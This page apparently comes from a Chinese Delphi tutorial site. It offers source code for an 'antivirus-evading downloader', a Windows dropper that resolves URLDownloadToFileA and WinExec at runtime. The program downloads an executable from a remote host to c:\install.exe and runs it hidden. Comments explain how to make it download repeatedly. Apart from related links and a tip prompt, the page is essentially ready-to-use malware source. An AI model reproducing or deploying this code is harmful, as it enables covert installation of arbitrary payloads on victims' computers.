delphi 免杀下载者代码


本文整理自网络,侵删。

 program downs;

uses
Windows;

procedure TimerProc(hwnd:HWND;uMsg,idEvent:UINT;dwTime:DWORD); stdcall;
var
URLDown:function(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB:pointer): LongWord; stdcall;
WinExecA:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
begin
@UrlDown:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
@WinExecA:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
//下载地址 //下载后存放的路径
if UrlDown(nil, 'http://www.xfocusx.com/calcs.exe', 'c:\install.exe', 0, nil)=0 then //下载... =0 完成后运行
WinExecA('c:\install.exe', 0); //运行

Halt; //下完后退出程序,去掉就是循环地下,可以设时间长一点
Exit;
end;

var
Msg: TMsg;
begin
SetTimer(0, 10, 1000, @TimerProc);//安装定时器
while (GetMessage(msg, 0, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;

end.

相关阅读 >>

Delphi 62进制转10进制

Delphi tarray<tarray<string>> 用法

Delphi获得硬盘所有分区

Delphi xe2 idhttp 获取utf-8编码中文网页

Delphi 从记事本导入记录

Delphi hextoint

Delphi dbgrid查询内容的导出为txt函数

Delphi'控件的相对坐标与屏幕坐标转换

Delphi xe5 android得到手机的手机号码

Delphi savelog 日志

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...